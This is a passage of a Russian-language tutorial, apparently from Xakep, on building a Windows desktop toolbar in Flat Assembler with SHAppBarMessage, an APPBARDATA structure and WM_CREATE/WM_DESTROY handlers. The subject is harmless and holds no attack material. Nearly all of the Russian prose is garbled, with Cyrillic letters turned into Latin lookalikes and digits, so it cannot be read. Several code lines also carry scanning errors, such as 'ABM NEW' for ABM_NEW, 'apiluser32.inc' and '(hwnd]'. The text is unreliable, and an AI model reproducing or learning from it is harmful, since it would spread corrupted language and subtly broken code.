pa3BEPHYTHIX HAa BECh 3KpPaH MPOrpamm, MOTOMY 4TO MONaJaeT JUOO Ha agpecHyIo CTpo-
Ky Opaysepa, 1100 Ha r7IaBHOE€ MEHIO NpHIOXKeHHs. Mcronb3oBaHHe ke NporpamMM B
OKOHHOM pE€XHMe, C IMOArOHKOH MX MECTOIOJIOXKEHHS IOC/Ie KaXIO0ro 3amycka, rpo3HUT
HEPBHBIM PacCTPOMCTBOM. 5 OTOB MOXXEPTBOBATh YaCThIO MMOJIE3HOM IUIOLIAAH KpaHa,
ecnu u300paxeHue He Oyaer nonagath Ha AePeKTHYI0 001acTh.

OcHoBHas onepalHoOHHas cHCTeMa Ha MoeM KoMilpiorepe — Windows. Kak HCKITIOYHTE
N0JIOCY B BEpXHEH 4acTH 3KpaHa M3 JOCTYIHOrO NMPOCTPAHCTBa paboyero croia, 4ToObI
OKHa NpHJIOXEHHUH [IpH pa3BepThIBAHMM He Nonajaiu Ha Hee? Maewo MHe moackasaia
NaHeNb 3a7a4; OHa MOHOIOJIM3UPYET HHXXHIOK YacTh 3KpaHa M HUKOIJa He IepeKpbIBa-
€Tcsl OKHaMH ITporpaMM. MoxeT ObITb, 10CTaTOYHO OyJET NPUKPENUTh €€ K BEpXHEH Jac-
TH 3kpaHa? Her, Bo-nepBbIX, OHa HE COBCEM MOJXOIHT 110 pa3Mepy, a BO-BTOPBIX, CaMa
npyuoOpeTaeT HeNpHUITAAHbIN BHI H3-3a AedekTa. A Henb3s JIM CAeNaTh «3alaTky» ¢ Ta-
KHMH € CBOMCTBaMH, HO YTOOBI 110JIb30BaTENb MOT KOHTPOJIHPOBATh €€ pa3Mep U LBET?

Oka3sbIBaeTcsi, MOXKHO, H OTBET OBICTPO Hauiesics B crnpaBoyHuke o Win32 API — 3to
naHelnb HHCTpyMeHTOB pabouero crona (https://docs.microsoft.com/en-us/windows/
win32/shell/application-desktop-toolbars). HarnpaBnenue pabotbl nposicHHUIOCH, OCTa-
J0Ch BBIOpATh MOAXOASLIMHA UHCTPYMEHT IJIs €€ BhINoJdHEeHHs. OCHOBHOE CPEICTBO pas-
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pabotku ¢ ucnonszoBanueM Win32 APl — xomnunarop C. Ho A BbI30Ba HECKOJIBKHX
GYHKUMIA OnepalHOHHON CHCTEMbI XOYETCS BOCIIONb30BAThCA 4EM-TO Oojiee MPOCThIM H
u3sAHbIM. Ilo3TOMy s OTnpaBHiICS B TEMHYIO KJIaJOBYIO CBOEH MaMATH M Hallel TaM
NBUIBHYIO LIKATYJKY C INIOCKMM MOHTaXXHHKOM. Eciu kTO-TO ewie He goragancs, TO Tak
3ByuHT no-pyccku Flat Assembler B Bapuanre SHaekc-nepeBoaYHKa. Y IUBHTEIBHO, HO
NPOAYKT, C KOTOPBIM s NO3HakoMuics ewe B cepeauHe 2000-x, mpomoipkaeT XHTb H
37IpaBCTBOBATb.

YTto ymeet Flat Assembler?

Hagait npsamo ceiiyac pa3dbepeMcs co cpenoit, B KoTopoi 6ynem paborarb. Ha ctpanuue
3arpy3ku (https://flatassembler.net/download.php) BriGepu apxuB ¢ mocnenHei BepcH-
eit coopku ans Windows (https://flatassembler.net/fasmw17329.zip), 3arpy3u ero u
pacrakyi Kyna-HuO6ynbp Ha quck. B Tpex MerabaiTax manku FASMW €CTh BCE, YTO HaM IIo-
Tpebyercs.

Co3paii mycTylo nanky Appbar A1 paboyero MpoeKkTa U CKOMHPYH B Hee HCXOIHBIH TEKCT
mabsoHa TUnoBoro mnpuiaoxeHus Windows FASMW\EXAMPLES\TEMPLATE\TEMPLATE .ASM.
3amycTH MHTErpUpPOBaHHYIO Cpeny pa3paboTKHU FASMW\FASMW.EXE M C IIOMOILBIO ITyHKTa
MeHIo File — Open... 3arpy3u B Hee 310T daitn. O6paTi BHUMaHHE, YTO B HallleM pacio-
PSDKEHHH €CTh TEKCTOBBIH MHOTOOKOHHBIH PEIaKTOp C MOJCBETKOH CHHTaKCHca acceMO-
nepa (puc. 2.2).

@ flat assembler 1.73.29 — O x
File Edit Search Run Options Help

; Template for program using standar® Win32 headers

format PE GUI 4.0
entry start

include 'win32w.inc®
section '.text' code readable executable
start:

invoke GetModuleHandle,O
mov fwc.hInstance], eax W

TEMPLATEASM |
LO| 1T _ 4

Puc. 2.2. TeKcTOBbI peaakTop MHTEerpupoBaHHoi cpeabt FASMW

[11a6moH Windows-npHIokeHHs Ha acceMOiiepe COCTOMT U3 CIIEAYIOLIHMX OCHOBHBIX YacTeit:

(J 3arojioBKa C YKazaHHEM q)opMaTa LEJIEBOro HMCIIOJIHAEMOrO (baifma H TOYKH BXOJa B
I[IPHJIOXKEHHE;
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O cekuuu koaa .text, 1€ METKA start YKa3plBa€T KOMAaHAY, C KOTOpOﬁ JOJDKHO HA4H-
HaTbCsA BBINMMOJIHEHHUE NMPOTrpaMMBbl;

O cekuMH JaHHBIX .data, COAEpXalleH ri106anbHble IEpEMEHHBIE IPOIPaMMBbI;

O cekuuH MMNOPTA .idata, B KOTOPOH MEpPEYHCIIEHBbl HCMONIB3yEMbIE NMPOrpaMMON IH-
Hamuyeckue OMOIHOTEKH U MOAKIIOYAOTCS OOBABIEHHUS COAEPXKALLMXCS B HUX (DYHKIMH.

B uenoM Tekct mporpamMMbl JOKEH OBITH MOHATEH JIIOOOMY, KTO HCHOjab30Ban Win32
API. Bo-nepBrix, cam API npeaensHo nmpoct. [lapamerpsl Bcex QyHKUHH oxuparoT 32-
OUTHBIX 3HAYEHHUH apryMEHTOB, a €CJIM JaHHbIE HE YKJIAJbIBAIOTCA B 3TOT pa3Mep, TO Me-
penaercst 32-OUTHBIA yKa3aTeslb Ha MacCHB HIIH CTPYKTYDPY ONATh Xke 32-OUTHBIX 3Haye-
Huil. Mckimouenne, noxanyi, Toiasko cTpokd. Bo3epauiaemoe ¢yHkuuei 3HaueHne (Ha-
NpUMep, KOJ 3aBEPLICHHUS) NEePEeJaeTCs Yepe3 PErucTp EAX MM, €CJIH OHO NpeBbilIaeT 32
6uTa, yepe3 CTPYKTypY, Ha KOTOPYIO YKa3blBaJl OJHH U3 apryMEHTOB.

Bo-BTopnixX, Flat Assembler Ha ocHOBe cBoero Habopa MaKpOHMHCTPYKLHH mpeaiaraer
CHUHTaKCHUYECKHH caxap, KOTOpbIi Aenaer ucnoib3oBaHHe APl MakcumanbHO npubiau-
XEHHBIM K BBICOKOYPOBHEBBIM sI3bIKaM NpOrpaMMHpoBaHHs. CkaxeM, JOBOJBHO CIIOX-
HbIH BbI30B QYHKLIHH CO31aHHUS OKHA OMUCHIBAETCS OJHON CTPOKOI:

invoke
CreateWindowEx, 0, class, title,WS_VISIBLE+WS_DLGFRAME+WS_SYSMENU, 128,128,256,19
2,NULL, NULL, [wc.hInstance],NULL

34€ech invoke — 3TO KOMAaHJa BbI30Ba MOANPOrpaMMbl B COOTBETCTBHH C COIVIAIIEHHEM
STDCALL, CreateWwindowEx — HMs BbI3biBaeMoil API-pyHkuMH, a fanee yepes 3ansiTyo
CIIENYIOT apryMEHThl B TOM IMOpSIKE, B KOTOPOM OHH OMNHMCaHbl B JIOKYMEHTaLHH
(https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-
createwindowexa). C-mporpaMMHCTBl MOTYT CUHTaTh, YTO HMEHa BCEX MEPEMEHHBIX
3[eCh — 3TO yKa3aTea (_class, _title), IS pa3bIMEHOBaHHS KOTOPBIX MCIOJIB3YIOTCS
KBagpaTHble CKOOKH ([wc.hInstance]). OTMETHM NpPHUBBIYHYIO «TOYEUHYIO» HOTALHIO
JOCTYMa K 3IEMEHTaM CTPYKTYpBbI.

Onucanue okoHHOM nmpouenypsl WindowProc Toxe He JOTKHO BbI3BAaTh 3aTPYAHEHHIA:

proc WindowProc uses ebx esi edi, hwnd,wmsg,wparam, lparam

ret
endp

Cornauwenne Win32 API tpebyer, utoObl mocne Bo3Bpara U3 Mmpoueayp oOpaTHOro BbI-
30Ba (callback-npouenyp) 3Ha4eHHs peruCTPOB EBX, ESI U EDI OBLIM TaKUMH Xe, KaKk H
nepen BbI30BOM. [[j1s 3TOro B 3arojlOBKE MPHUCYTCTBYET yKa3aHHE Ha COXPaHEHHE ITHX
perucTpoB B BUAE (pa3bl uses ebx esi edi. A Jajblle 4Yepe3 3aMATYH MIET CIHUCOK
¢opMasIbHBIX TaPaMETPOB MPOLEAYPBI, KOTOPbIE COOTBETCTBYIOT JOKYMEHTALIHH.

Tenepb Tbl MOXELb CKOMITMJIMPOBATh U BBINOJHHUTD 3Ty MporpaMMy. Ho cHauana ykaxu
OyTh K Nanke C NOIK/IIOYAeMbIMH [IHPEKTHBOH include ¢aitlaMM B NyHKTE MEHIO
Options — Compiler setup Tak, 4To6bl OH COOTBETCTBOBaJI (PAKTHYECKOMY MECTOIOJIO-
XKEHHIO FASMW\INCLUDE. [Tocie 3TOro BeIMONHHM MyHKT MeHIO Run — Run unm npocro
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Haxkmu knaBuiy F9. Ecnu Bce ObUIO cenaHo MpaBUIBHO, TO B paboyei mamke Appbar
NOSIBUTCS CBeXecoOpaHHbIH (ain TEMPLATE.EXE, a Ha 3KpaHe OTOOpa3UTCs KpOLIEYHOE
okHo Win32 program template (puc. 2.3).

@ flat assembler 1.73.29 = B X
File &dit Search Run Options Help

Appearance...

format PE GUI 4.7
entry start Compiler setup X

include 'win32w.| [Include pathis)

section '.text'

Memory (KB): Thread priority:
start: [55535 E‘ I Normal L]
invoke l oK ' Cancel
mov v
< s ,n ' >
TEMPLATE.ASM ’

1,25 | | y

Puc. 2.3. HacTtponka nytut k nogkniodaemeim pannam

Co3paHune obpaboTumka
coobuweHna WM _CREATE

Co cpenoii pa3paborku pa3oOpanucek, NMpPUCTYNUM K pabore Haa nporpammoH. Ecnu
paHbllle Thl HUKOTJa He NpOrpaMMHpoBal naHenu paboyero crona Windows, To ceifuac
camoe BpeMs U3y4YuTh JokyMeHTauuw. Ho nepex sTuM xouy oOpaTHTh BHUMaHHE Ha OC-
HOBHble MOMEHTHI. [IaHenb pabouero crona He ABIAETCA KAKUM-TO YHHKaIbHBIM 00bEK-
TOM OINEPALMOHHOH CHCTEMBl. POib MaHeNIH MOXET Hrparh J1000e OKHO, CO3/aHHOE
¢byHKUHeH CreateWindowEx. Bce cpeactBa Windows, obecneunBaromiye GpyHKLIHOHHPO-
BaHUE IaHENH, COCPEJOTOYEHBl B eAWHCTBeHHOH ¢yHkunn SHAppBarMessage
(https://docs.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-
shappbarmessage), c moMoLIbI0 KOTOPOH MOXHO:

O y3HaTh rpaHuLbl o6acTH pabodero crona, B npeaenax KOTOPbIX MOXHO pa3MECTHTh
HOBYIO IaHeJIb HHCTPYMEHTOB;

a 3ape€3€pBUPOBATH HA 3TO# obnacTu Yy4acTOK AJid pa3MClLICHUA HOBO# IMaHCIIH,

O yka3aTs MaHUNYIATOp (handle) OKHA C MAHENbIO, KOTOPOMY OyIyT OTIIPABIATHCSA CHC-
TEMHbIE YBEJOMIIEHHS, CBA3aHHBIE C U3MEHEHHEM 00CTaHOBKH Ha paboyeM cToe.

[Tocne pesepBupoBaHHs HOBOH 00JacTH OINEpalMOHHAsA CHCTEMA 3alpellaeT €€ UCIOJb-
30BaHHE OKHAMH IPUIIOKEHUH MPU UX MaKCUMH3allUH, OCBOOOXKIAET OT 3Ha4KOB paboue-
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ro crona (€ci TakoBble Ha He# OblIH) — M, B 00LIEM-TO, Bce. 32 BHELIHHI BH]I MAHEJIH
OTBEYaeT aCCOLMMPOBAHHOE C HEK OKHO, KOTOPOE TEOPETHYECKH OJIKHO 3aKPBITh COO0H
0CcBO0O0XIEHHOE POCTPAHCTBO M MPHHATH COOTBETCTBYIOILUH cTHIb. HO nmo GonpuioMy
CHETY MOXET 3TOrO U He JIeNaTh.

C nomouipio nyHkTa MeHio File — Save as... coxpaHu oTKpbITBIH B penakTope (ain nog
UMEHEM appbar.asm. B Halleil nporpaMMe naHenbio OyAeT riaBHOE OKHO MPHIIOKEHHS.
3ape3epBHpyeM /s Hee M0JIOCY B BepXHeH yacTH paboyero cTona. IT0 MOXHO CAENaTth B
o0pabotunke coobuweHus wv CREATE (https://docs.microsoft.com/en-us/windows/win32/
winmsg/wm-create), KOTOpO€ OTIIPABIAETCS ONEPALMOHHOH CHCTEMOH OKHY IMpHIOXKeE-
HHUS HEMOCPEeACTBEHHO Mepej TeM, Kak 0TOOpa3uTh ero Ha 3kpaHe. [lns 3Toro B Hadane
OKOHHOH Npoueaypsl WindowProc BCTABUM CTPOKH Iepexosa k 00paboTynky coobieHus:
cmp [wmsg], WM _CREATE
je .wmcreate
M HamyulieM caM o0paboT4Hk nepes METKOH .wmdestroy:
.wmcreate:

stdcall wmCreateProc, [hwnd]

jmp .finish

MeTku, KOTOpble HAYUHAIKTCA C TOYKK, IBNSAKOTCA NOKaNbHLIMK NO OTHOLEHUIO K Npoueaype,
rae OHM MCnonb3yloTcs (B AaHHOM cnyvYae — WindowProc). 3To ewe oaHa ¢uvwka Flat
Assembler, koTopas no3sonset He 6ecnokoUTLCA O TOM, YTO B pa3Hblx Npoueaypax uMeHa
METOK MOryT NOBTOPATLCS.

Hawr o6paboTumk BBI3bIBAET IMOKA €llI€ HE CYLIECTBYIOLLYIO NPOLEAYpPY wmCreateProc H
nepenaeT el 3HaYEHHE MAHHMIYJIATOpAa CO3AaHHOro okHa. B 3ToM npoueaype Hago omnu-
caTh AEHCTBHs IO pe3epBHPOBAHHIO MOJOCH U MO3HLHOHHPOBAHUIO [NIABHOIO OKHA, I0-
cie yero OOHYJIHTb PErHCTp EAX A CHTHAJM3MPOBaHHA 00 yCMNELIHOM 3aBEepLIEHHH
npouenypsl. Ecnu nocine o6paboTku cooblueHus wWM_CREATE 3HaY€HHE perucrpa Eax Oy-
JET paBHO (-1), ONEpPAaLlHOHHAs CHCTEMa BOCIPHMET 3TO KaK CHTHajl o npobieme, 4To
NpHUBENET K 3aBepLUEHHIO paboThl NporpaMmbl. TeKCT Npoueaypbl wmCreateProc MOXKHO
Pa3MECTHTD I0CIIE ONlepaTopa endp, 3aKPbIBAIOILETO GJIOK OMHCAHHSA OKOHHOM MpOLEeay bl
WindowProc:
proc wmCreateProc, hwnd

invoke MessageBox, [hwnd],_title, class,MB_OK+MB_ICONINFORMATION

XOor eax,eax

ret
endp

BOT NpoMeXyTO4HbIA BAapuaHT NporpaMMbl, KOTOPLIA BbIBOAUT OTNaaovHoe coobuleHue:
appbar-verl.asm
(https://xakep.ru/wp-content/uploads/2022/01/372862/appbar-ver1.asm).

ITpouenypa wmCreateProc B TAKOM BHIAE€ HE ACJIAE€T HHYEro II0JIE3HOr0, HO IIPH 3aIllyCKE
IporpaMMsbl BbIBOOAHT OKHO C PlHCbOpMaLIHOHHLIM COO6U1€HP[CM, KOTOpPO€ OA€T IIOHATH,
YTO Ha 3TOM 3TaI€ BCE pa60TaeT TaK, KaK O)KHOa€TCs.
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BHumatensHoO cneam 3a TeMm, 4To6bl KONMYECTBO M NOPAAOK apryMEeHTOB B KOMaHae Bbl30Ba
npoueaypbl BCeraa COOTBETCTBOBANW KONMWMYECTBY W NOPSAKY NapameTpoB B €€ ONUCaHwuM.
FASMW 370 He KOHTPONUPYET, WU, €CNKU AONYCTUTL HEOPEXHOCTb, MOXHO NONYYUTL TPYAHO
obHapyxuBaemble OLLINOKU.

NMoAaroTtoBKa K UCNOSNbL30BaHUKO PYHKLUN
SHAppBarMessage

[TporpamMMa 1 onepauMoOHHas CHCTEMA JOTOBapHBAIOTCA O PE3EPBHMPOBAHHH NMPOCTPAHCT-
Ba U1 TaHeNM MHCTPYMEHTOB ¢ nomouwblo ¢yHkuun SHAppBarMessage
(https://docs.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-
shappbarmessage) uepe3 crpyktrypy APPBARDATA (https://docs.microsoft.com/en-
us/windows/win32/api/shellapi/ns-shellapi-appbardata). Onpenenenue 3Toi CTpykTy-
pBI OTCYTCTBYET B MoAkIoyaeMbix ¢aiinax u3 nocraBku FASMW, nosromy npuuercs
CO3J1aTh €0 CaMOMY Ha OCHOBE JokyMeHTauuH. [loMecTuM ero B otaensHoM daiine. s
atoro BeiOepH nyHKT MeHIo File — New 1 Ha OTKpBIBIIEHCS BK/IaJKe TEKCTOBOTO pelak-
Topa HabepH cnenyrolee:

struct APPBARDATA

cbSize dd ?

hWwnd dd ?

uCallbackMessage dd ?

uEdge dd 2

rc RECT

1Param dd ?
ends

Tax BIMNIAOUT onmKcaHue THNA CTpYKTyphl B Flat Assembler. [Tocne Ha3BaHHs mons cie-
ayer cneurdukarop tuna (dd o3Hayaet 4-0alHTOBOE OBOHHOE CIIOBO, a 3HaK BOMpOCa —
HeoNpeAeIeHHOe 3HaYeHHE), B KaYeCTBE KOTOPOro, B CBOK OYEpEelb, MOXKET MCIOJb30-
BaThCA UMS U3BECTHOH CTPYKTYphI (Hanpumep, RECT). UToObI HE BO3BpaLIaThCs K JaHHO-
My BONpOCY €ll€e pas, B 3TOT xe (aiy MOXKHO IOMHCATh ONMpee/IeHHs KOHCTaHT, KOTO-
PBI€ HCIIOJIB3YIOTCA (byHKuHeﬁ SHAppBarMessage:

ABM NEW = 0x0

ABM REMOVE = 0x1

ABM QUERYPOS = 0x2

ABM SETPOS = 0x3

ABE LEFT = 0

ABE_TOP = 1

ABE RIGHT = 2

ABE BOTTOM = 3

MSG_ABNOTIFY = WM USER+1

APPBAR THICKNESS = 64

KoHcTranThl ¢ npedukcoM ABM NpeAcTaBiIsOT COOOH KOIBI YCIyT, 3alpalldBaeMbIX Y
OMNepalnHOHHON CHCTEMBI, a ¢ MpedHKCOM ABE_ O3HA4alT rpaHHLbl paboyero crona, y
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KOTOPBIX IpeAnoJaraeTcs pasMelieHie naHeay. KoHcranra MSG_ABNOTIFY COOTBETCTBYET
«I10JIb30BATENILCKOMY» (TO €CThb HECTaHAAPTHOMY, BBIOMPaeMOMY HPOrpaMMHCTOM)
HIeHTHUKATOpY COOOLIEHHs, KOTOPBIH MBI NMPEJOXKHUM HCIIOIb30BaTh ONEPALHOHHON
cHcTeMe IIpH OTIpaBKE YBEJOMJIEHHH OKHY NaHENIH MHCTpyMEHTOB. TyT xke onpenenum
KOHCTAaHTY APPBAR THICKNESS C JK€J1a€MbIM 3HAUE€HHEM LUMPUHBI IAHEIH.

CoxpaHu HabOpaHHBIH TeKcT B Qaiine ¢ UMEHEM appbar.inc C MOMOLIBIO MYHKTa MEHIO
File — Save As...

MogkniovyaeMbin ann ¢ o6bsaBNEHUEM CTPYKTYpbl APPBARDATA U OnpeaeneHusiMU KoH-
CTaHT: appbar . inc (https://xakep.ru/wp-content/uploads/2022/01/372862/appbar.inc).

Teneps BepHUCH K peAaKTHPOBAHHUIO (aiiyla appbar.asm C TEKCTOM NPOrpaMmbl (A5 3TO-
ro Moxellb HaxaTb coueranue knaBuu Ctrl-Tab) u B ero Hauyane mepex cekuuer kona
BCTaBb CTPOKY [OJKJIIOYEHHUS IOATOTOBJIEHHBIX ONUCAHUH!

include 'appbar.inc'

[locne BHECEHUA B TEKCT NPOrpaMMbl 3aKOHYEHHOW MOPUUU U3MEHEHWW (Kak, Hanpumep,
ceinvyac) npoBepsn, KoMNunupyeTcs N oHa. MNpu 3Tom cneau, YTobbl aKTUBHON B TEKCTOBOM
pepaktope Obina Bknagka C OCHOBHbLIM TEKCTOM MPOrpamMMbl, @ HE MOAKMIOYaEMbIM MOoAYy-
neMm. Ecnu FASM coobuiaeT 06 owubke, Hago nepenpoBepuTb NOCNEAHUE U3MEHEHUA U
yCTpaHuTb olwubKy npexae, Yem ABUraTbCsA AanbLue.

Ceituac, korza y Hac ecTb OOBSBIEHHE THUIIA APPBARDATA, Mbl MOXEM OIpEAEIUTH IJI0-
0anpHYIO IEPEMEHHYIO abd 3TOr0 THIA, U YEro B CEKLHIO JAAaHHbIX CleAyeT J00aBUTh
TaKyr CTPOKY:

abd APPBARDATA sizeof.APPBARDATA, 0, MSG ABNOTIFY, ABE TOP, <0, 0, 0, 0>, 0
3Ta cTpoKa COBMEIIAeT ONpeAeseHHE IepeMEHHOH (IpH KOTOpOM pe3epBHpYeTcs Ia-
MSATh) C €€ MHUUHMATH3aLuel (Ipu KOTOpO# NOJsIM NPHCBAaHWBAIOTCS HayalbHblE 3Haye-
Hus1). O6paty BHUMaHHE, YTO WHHULHAIU3ATOP IMOJIS BIOXEHHOM CTPYKTYpPHI abd.rc 3a-
KJIIOueH B yrioBble cKoOkH. Makpoonpeznenenus FASM mno3BonsiorT yka3aTh pasmep
CTPYKTYPbI APPBARDATA C TOMOILLI KOHCTPYKLIMH sizeof . APPBARDATA.

@DyHKUMA SHAppBarMessage HAaXOAUTCS B CHCTEMHOHW JIHHaMH4YecKoi Oubnuoreke
Shel132.d11. [ToaToMy notpebyercs 00OaBUTh CTPOKH B CEKLIMIO UMIIOPTA, B PE3yJIbTaTe
4yero oHa NMPHOOPETET CJIeAYIOLIMIA BU:

section '.idata' import data readable writeable

library kernel32, 'KERNEL32.DLL',\
user32, 'USER32.DLL', \
shell32, 'SHELL32.DLL'

include 'api\kernel32.inc'
include 'apiluser32.inc'
include 'api\shell32.inc'

YT106b! y3HaATbL, B KakoW AMHamuyeckon bubnuoteke Haxogutcs gyHkuma Win32 API, Hago
OTKpbITb  Ha  oduumanbHoM  cante  Microsoft  (https://docs.microsoft.com/en-
us/windows/win32/apiindex/windows-api-list) cTpaHuuy gokymeHTauum c onucaHuem
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3ToM (hbyHKUMM KU Bnnke K KOHUY CTpaHuubl OTbickaTb cekumio Requirements. U3 atoi cek-
UMM  MOXHO Yy3HaTb MWHWManbHyl nopaepxusaemyto Bepcuto Windows (Minimum
supported client/server), nMa 3aronosouHoro cavina ans sA3bika nporpammupoBanus C
c obbaBneHnem 3ton yHkumu (Header, *.h), ctatuyeckyo 6ubnuoTeky, KoTopylo Hago
NoAaKM4YUTL K UCNonNHsemMoMmy chainy ans ucnonbaosaHus dyHkuuu (Library, *.11ib), u, Ha-
KOHeU, uMs darna guHamuyeckorn bubnuotekm (DLL, *.d11).

Y6eaucsb, 4to nporpammMa KoMnunupyetca u paﬁOTGET.

MpoMexXyToYHbI BapuaHT NporpaMMbl CO BCEMW NpeaBapuTenbHbiIMU 06bsBNEeHUsMU Y
onpeneneHnsMu: appbar-ver?2.asm (https://xakep.ruiwp-content/uploads/2022/01/372862/
appbar-ver2.asm).

PesepBupoBaHue nnowaaku Ans naHenm

[TonroroBuTeabHBIE MEPONTPUATHS 3aKOHYEHBI, MBI Ha (GUHHUIIHOM nmpsaMol. He 3amyckai
nporpaMMy, Noka s He ckaxy. [l MpoBepKH CHHTaKCHCa MOXKEUb MEPUOINYECKH KOM-
IUJIMPOBAaTh HCXOIOHBIA TEKCT B HCMONHsAeMbIH ¢ain yepe3 nmyHKT MeHo Run —
Compile, Ho MporpaMMy He 3amyckai!

BepHeMcs k 6JI0KY ¢ npoueaypoi wmCreateProc, YOaJIHM M3 HErO CTPOKY BHIBOJA OTJIAa-
JOYHOTO COOGLHCHPIH H HANOJIHUM IPHIIOKEHUE CMBICIIOM. B cooTBeTcTBHH C JOKYMEH-
Talyed cHayana ACKJIApHUPYEM XKEJTAaHHUE CO30aTh MaHE)Ib HHCTPYMECHTOB pa6oqero CTOJIa,
IUIS 4ero BbI30BeEM (DYHKIHIO SHAppBarMessage C COOOIIEHHEM ABM NEW U CTPYKTYpOWH
APPBARDATA, B KOTOPOH 3aIIOJIHEHBI I10JI cbSize, uCallbackMessage (MMPH HHUIHAIH3ANH
nepeMeHHOH) U hwnd (HEMOCPEeACTBEHHO Mepe.l BBI30BOM (YHKIIHH):
proc wmCreateProc, hwnd

mov eax, [(hwnd]

mov [abd.hWnd], eax

invoke SHAppBarMessage, ABM NEW, abd

cmp eax, TRUE

je @f

mov eax, -1

ret
@@:

3nech Mbl BIEpBbIE CTAJIKHBAEMCs C OrpaHHYeHHEM acceMbiepa, KOTOpPOe He MO3BOJISET
HampsAMYIO NepechbuIaTh JaHHbIE U3 OJHOH sSYeHKH MaMATH B APYTYIO, B pe3y/IbTaTe 4ero
HaM MPHIIJIOCh BOCMOJIb30BAThCA PETMCTPOM EAX B KaueCTBE MPOMEXYTOYHOTO XpaHH-
nuuma. [Tocne BbI30Ba yHKLINH NMpoBepsieM BO3BpalLleHHOe elo 3HayeHHe. Ecinu onepaiu-
OHHas CHCTeMa He BO3pa)kaeT NMPOTHB HCIOJIb30BaHHSA OKHAa B KayeCTBE MaHENH, TO pe-
THCTp EAX OyzHeT coaeparh TRUE.

Flat Assembler npennaraer yno6Hy10 cHCTEMY JIOKaJIbHBIX METOK AJ11 KOPOTKHX Iepexo-
JIOB, KOTOpas MO3BOJAET «IEPENphIrMBaTh» Yepe3 HECKOJbKO KOMaHA NpH MOJOOHBIX
npoBepkax. Tak, KOMaHIa je @f COBEPIIMT Mepexo] Ha OnuxkaiIIyIo CleqyIoIy0 METKY
@@ B clIyyae MOJIyYeHHs PaBEHCTBA IPH NpebIoylleM CPaBHEHHH cmp eax, TRUE. Eciu
HaJ0 COBEPLINTH Mepexon Ha Onuxkaiiylo npeaplayIyio METKY @@, To B KOMaHJe repe-
XO0/1a HaJIo yKa3aTh @b.
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Takum obpa3om, B ciryyae HEpaBEHCTBAa B PETHCTp EAX OyIeT 3alHCaHO M BO3BPALIECHO
OrnepalHOHHOM cHcTeMe 3HayeHHe (-1). OHa, kak 6bUIO OTMEYEHO BBIIIE, BOCIIPHUMET €T0
B KayecTBe NpH3HaKa MpobiemMsl npH o6paboTke cOOOIEHHS WM _CREATE, YTO [PHBEIET K
3aBEpILEHHIO pabOTHI MPHIIOKEHHUA.

3anpocum y Windows rpaHuus! pabodero croia, B Npeaeiax KOTOPBIX MOXHO pa3Mec-
TUTH NaHesb. be3 nuIHed CKpOMHOCTH OTIPAaBHM 3asBKY 4epe3 abd.rc Ha BECh pa3Mep
3KpaHa,aOﬂepaHHOHHaﬂCHCTeMaHpHBeﬂeT3HaquHﬂHOHeﬁCTPYKTyprRECTBCOOTBGP
CTBHE peanbHOH obcraHOBKe. [ 3TOrO y3HaeM Y CHCTEMBI, a TOTOM 3allMIEM B
abd.rc.right IIMPHUHY 3KpaHa, YMEHBIUEHHYI0 Ha €IHMHHLY, a B abd.rc.bottom —
YMEHBUICHHYKO Ha €OHHHLY BBICOTY JKpaHa, IIOCJI€ 4YE€ro BBI3OBEM prHKHPIlO
SHAppBarMessage C COOOIIIEHHEM ABM QUERYPOS.

invoke GetSystemMetrics, SM_CXSCREEN

dec eax

mov [abd.rc.right], eax

invoke GetSystemMetrics, SM CYSCREEN

dec eax

mov [abd.rc.bottom], eax

invoke SHAppBarMessage, ABM QUERYPOS, abd

[Mocne Bo3BpaTa B CTPYKTYpE abd.rc OyayT HaXOAUTHCS TPaHHUILBI JOMYCTUMOH 0b6nacTy.
Hawm >xe Hy>»Ha TOJBKO 10JI0ca NIMPHHOHW APPBAR THICKNESS Y BEPXHEro kpas pabouero
ctona. [ToaToMy nmoaTsHEM BBEPX HHXKHIOK KOODAMHATY M 3aTpebyeM y onepalHoHHON
CHCTEMBI IMOJIyYHUBIUYIOCS I10JI0CY Yepe3 BhI30B (YHKUHH SHAppBarMessage C COOOIIEHH-
€M ABM SETPOS:

mov eax, [abd.rc.top]

add eax, APPBAR_THICKNESS

dec eax

mov [abd.rc.bottom], eax

invoke SHAppBarMessage, ABM SETPOS, abd

XOr eax,eax

ret

endp

B koHI1e mpoueaypsl ocTaBiasieM oOHyJIEHHE perHcTpa EAX KOMAHIOM xor eax, eax H BO3-
BpaT 3TOr0 HYJIEBOTO 3HAYEHHS OMNEPAaLHOHHON CHCTEME, KOTOpPOE OHa BOCIPHUMET Kak
yCIemHoe 3aBeplieHne 06paboTyrka WM CREATE.

[Toka npeamnonoxuM, 4YTo MbI BCE COeNaaH MPaBUIbHO. Pe3ynbTaToM BBHINOIHEHHS Iepe-
YHCJIEHHBIX JEHCTBHH MOJDKHO CTAaTh OTPE3aHHE MOJIOCH OT BEpXHEH rpaHHLBl pabouero
ctona. Eciu 3anycTHTh POrpaMMy B TakOM BHJE, TO 3ape3epBHpOBaHHas 00JIacTh OCTa-
HETCS «HE Y JeN» Jaxe MO0Cle ee 3aBepLIeHHs M MPUIETCA Nepe3arpyaTh KOMIIBIOTED.
MbI JOMKHBI ABHBIM 00pa3oM BEpHYTh OMNEPALHOHHOW CHCTEME MOJIYyYeHHYI0 BO Bpe-
MEHHOE I10JIb30BaHHE I0JIOCY, AJIA Yero AOMOJIHHM B OKOHHOH Mpolieaype WindowProc
610K 06paboTKH COOOLIEHHS WM _DESTROY CJIEAYIOLIEH CTPOKOMH (€€ Hago BCTaBHUTh Cpasy
[10CJI€ METKH .wmdestroy):

invoke SHAppBarMessage, ABM REMOVE, abd
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MpomeXxyTouHbIN BapuaHT NporpamMbl, KOTOPbIA YMeeT pe3epBuMpoBaTh M OCBOGOXAaTb
y4actok paboyero ctona: appbar-ver3.asm (https://xakep.ru/wp-content/uploads/2022/
01/372862/appbar-ver3.asm).

A BOT Tenepb MOXXHO M Ja)k€ HY>KHO 3allyCTHUTh [TOJYYHMBIIYIOCS [IPOrpaMMy M IOCMOT-
peTh, kak oHa paboraer. [Ipoby#t nepemernate OKHa NPHIOKEHUH, pa3BOPaYMBATh UX Ha
BECh 3KpaH U CMOTpH, Kak OHH cebs mpu 3ToM BenyT. O6paTd BHHMaHHeE, YTO INIaBHOE
OKHO MOJy4YHBLIEHCS [TPOrpaMMbl CYILIECTBYET Kak OyATO OTAENBHO OT 3ape3epBHPOBaH-
